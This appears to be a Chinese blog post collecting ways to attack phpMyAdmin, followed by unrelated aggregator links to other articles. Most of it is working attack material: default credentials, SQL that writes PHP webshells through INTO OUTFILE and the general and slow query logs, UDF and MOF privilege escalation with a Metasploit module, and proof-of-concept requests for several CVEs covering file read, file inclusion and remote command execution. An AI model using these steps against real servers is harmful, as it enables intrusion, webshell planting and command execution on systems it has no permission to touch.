phpmyadmin利用的多种方式
关于phpmyadmin的利用方式大佬们已经总结的很好了,这里只是造轮子(便于记录学习)
确认版本
渗透测试信息搜集永远是首位(也是最重要的一步).


默认目录/doc/html/index.html
phpmyadmin漏洞利用
大多数的漏洞利用方式都为登录后利用,需要进入后台才可以进行利用。常见密码为root:root root:(空格) mysql:mysql
常见的GetShell方式
直接写Shell
使用条件
当前用户有写入权限知道web目录绝对路径web路径可写
执行show variables like 'secure_file_priv';若是secure_file_priv一栏是空(如果是NULL的话就代表不允许导入导出)的那么就代表任意位置有写入webshell的权限,否者则为指定的路径(此项在mysql.ini中进行修改)。

猜测web目录的绝对路径
执行show variables like '%datadir%';根据数据库的默认存储位置来猜测web目录绝对路径。

是phpstudy的话猜测web目录应该为c:\phpStudy\PHPTutorial\www\
直接写shell
执行select '<?php phpinfo();?>' into outfile 'c:\\phpStudy\\PHPTutorial\\www\\pppp.php';通过开启日志功能来进行GetShell
使用条件
必须为
root用户开启日志记录
set global general_log = "ON";指定日志文件
set global general_log_file = "C:/phpStudy/PHPTutorial/WWW/.404.php";写入执行代码
select "<?php phpinfo();?>";

设置慢查询日志记录(如名就是一些操作慢的查询会被写入日志)
查询慢查询日志的位置
show variables like '%slow%';重新设置慢查询日志路径
set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/pppp.php';开启慢查询日志
set GLOBAL slow_query_log=on;执行慢查询写入日志
select '<?php phpinfo();?>' from mysql.db where sleep(10);
UDF提权(用户自定义函数)
利用条件
需要具备写权限+插件目录可写(或者可以更改指定的插件目录),具体情况要看目标mysql的版本。
在mysql>5.1时,dll或者so必须位于mysql安装目录下的
lib\plugin下,当对此目录有写权限的时候可以利用.
查询插件目录show variables like '%plugin%';5.0<=mysql version<5.1时,需要导出至目标服务器的系统目录
C:\\Windows\\System32.version < 5.0时,目录可以自定义.
写入dll
select 'xxx' into dumpfile 'c:\\\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\lib_mysqludf_sys.dll'
创建函数
create function sys_eval returns string soname "lib_mysqludf_sys.dll";
执行命令
select * from mysql.func where name = 'sys_eval';查看创建的函数
select sys_eval('whoami');执行命令MOF提权
通过mysql将文件写入一个MOF文件替换掉原有的MOF文件,然后系统每隔五秒就会执行一次上传的MOF。一般适用于Windows <= 2003,并且C:\Windows\System32\mof目录具有写权限(一般是没有权限写)。可以使用MSF直接利用:
se exploit/windows/mysql/mysql_mof
setrhost 192.168.1.5
setrport 3306
setpasswordroot
setusername root
exploit
phpmyadmin的一些其他漏洞
WooYun-2016-199433:任意文件读取漏洞(phpMyAdmin2.x)
POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
CVE-2014-8959:本地文件包含(影响范围:phpMyAdmin 4.0.1--4.2.12,需要PHP version < 5.3.4 ,Poc如下:)
/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00 # 注意改下token值
CVE-2016-5734:后台RCE(影响范围:PhpMyAdmin 4.0.x-4.6.2,需要PHP 4.3.0-5.4.6 versions,利用如下:)
cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
CVE-2018-1261:后台文件包含(phpMyAdmin 4.8.0和4.8.1,经过验证可实现任意文件包含。利用如下:)
执行sql语句,将PHP代码写入Session文件中:select '<?php phpinfo();exit;?>';
包含session文件
http://10.1.1.10/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_*** # *** 为phpMyAdmin的COOKIE值
CVE-2018-19968:任意文件包含/RCE(phpMyAdmin 4.8.0~4.8.3)
创建数据库,并将PHP代码写入Session文件中
CREATE DATABASE foo;
CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
生成foo数据库的phpMyAdmin的配置表,访问
http://10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo篡改数据插入pma__column_info中:
http://10.1.1.10/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1访问包含session文件地址
http://10.1.1.10/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
后记
前面关于phpmyadmin的渗透都是根据大佬的博客来总结出来的,后面的话就来讲一下不同版本mysql的一些特性吧.
- 在mysql5.0之后才引入的
information_schema系统数据库,也就是说在mysql5.0以后才可以使用盲注、联和查询。 - 在mysql5.6以上的版本中,系统Mysql库中存在两张与innodb相关的表 innodb_table_stats 和 innodb_index_stats

如图可以查询到数据库.

记得还有mysql多少版本才可以使用联和查询来着(忘了23333).
参考博客
大部分的东西都是借鉴t3ngyu师傅的
phpmyadmin利用的多种方式的更多相关文章
- idea打包jar的多种方式
这里总结出用IDEA打包jar包的多种方式,以后的项目打包Jar包可以参考如下形式: 用IDEA自带的打包形式 用Maven插件maven-shade-plugin打包 用Maven插件maven-a ...
- JavaScript中判断为整数的多种方式
之前记录过JavaScript中判断为数字类型的多种方式,这篇看看如何判断为整数类型(Integer). JavaScript中不区分整数和浮点数,所有数字内部都采用64位浮点格式表示,和Java的d ...
- intelliJ 打包jar的多种方式
这里总结出用IntelliJ IDEA打包jar包的多种方式,以后的项目打包Jar包可以参考如下形式: 用IDEA自带的打包形式 用Maven插件maven-shade-plugin打包 用Maven ...
- idea打包jar的多种方式,用IDEA自带的打包形式,用IDEA自带的打包形式 用Maven插件maven-shade-plugin打包,用Maven插件maven-assembly-plugin打包
这里总结出用IDEA打包jar包的多种方式,以后的项目打包Jar包可以参考如下形式: 用IDEA自带的打包形式 用Maven插件maven-shade-plugin打包 用Maven插件maven-a ...
- 特性attribute,声明和使用attribute,应用attribute,AOP面向切面,多种方式实现AOP
1 特性attribute,和注释有什么区别2 声明和使用attribute3 应用attribute4 AOP面向切面5 多种方式实现AOP ---------------------------- ...
- Intellij IDEA 打包jar的多种方式
IDEA打包jar包的多种方式 用IDEA自带的打包形式 用Maven插件maven-shade-plugin打包 用Maven插件maven-assembly-plugin打包 1.view-> ...
- 云小课 | 搬迁本地数据至OBS,多种方式任你选
摘要:搬迁本地数据至OBS,包括OBS工具方式.CDM方式.DES磁盘方式.DES Teleport方式和云专线方式,每种方式特点不同,本节课我们就一起看看有什么区别. 已有的业务数据可能保存在本地的 ...
- Java中测试异常的多种方式
使用JUnit来测试Java代码中的异常有很多种方式,你知道几种? 给定这样一个class. Person.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ...
- Spring学习总结(一)——Spring实现IoC的多种方式
控制反转IoC(Inversion of Control),是一种设计思想,DI(依赖注入)是实现IoC的一种方法,也有人认为DI只是IoC的另一种说法.没有IoC的程序中我们使用面向对象编程对象的创 ...
随机推荐
- Maven进行自动构建
一个很常见的错误就是路径问题,要把jdk放到java工程的路径里,之前一直默认是jre https://blog.csdn.net/lslk9898/article/details/73836745 ...
- thinkphp 根据文件后缀的不同返回不同的结果
** * 根据文件后缀的不同返回不同的结果 * @param string $str 需要判断的文件名或者文件的id * @return integer 1:图片 2:视频 3:压缩文件 4:文档 5 ...
- mysql定时任务(数据库管理工具and 纯命令行)
1.工具:Navicat 2.通过下列语句l爱查询event是否开启 打开Navicat命令列界面(点击工具可以看到或按F6) 输入下面命令 show variables like '%sche%'; ...
- 图片模式CMYK和RGB在浏览器下的变化
手机浏览器里面不能显示出模式为CMYK的图片, 模式为CMYK的图片在IE浏览器里面显示和模式为RGB的一样 模式为CMYK的图片在火狐里面显示有色差
- 15. Django连接Mysql数据库
安装PyMySQL,打开cmd, pip install PyMySQL 在.../blog/init.py 目录下添加: import pymysql pymysql.install_as_MySQ ...
- Windows10系统下,如何彻底删除卸载MySQL
本文介绍,在Windows10系统下,如何彻底删除卸载MySQL... 1>停止MySQL服务开始->所有应用->Windows管理工具->服务,将MySQL服务停止.2> ...
- 洛谷 P2024 [NOI2001]食物链——带权值的并查集维护
先上一波题目 https://www.luogu.org/problem/P2024 通过这道题复习了一波并查集,学习了一波带权值操作 首先我们观察到 所有的环都是以A->B->C-> ...
- NOI 2018 Day1 T1 归程
题面见洛谷 难点: 走过有积水的地方之后就需计算路径长了 关键算法: kruskal重构树 ①原来的 kruskalkruskalkruskal 算法就是用并查集实现的, 但当我们使用 krus ...
- Django有办法打开HTTP长轮询连接吗?
保持连接打开,直到发生事件. 解决方案 看看Django / Comet(推送):所有邪恶中最少的?或者彗星在Python中的最新推荐? - COMET是“ajax long-polling”的另一个 ...
- [ACM] POJ 1218 THE DRUNK JAILER (关灯问题)
版权声明:本文为博主原创文章,未经博主同意不得转载. https://blog.csdn.net/sr19930829/article/details/37727417 THE DRUNK JAILE ...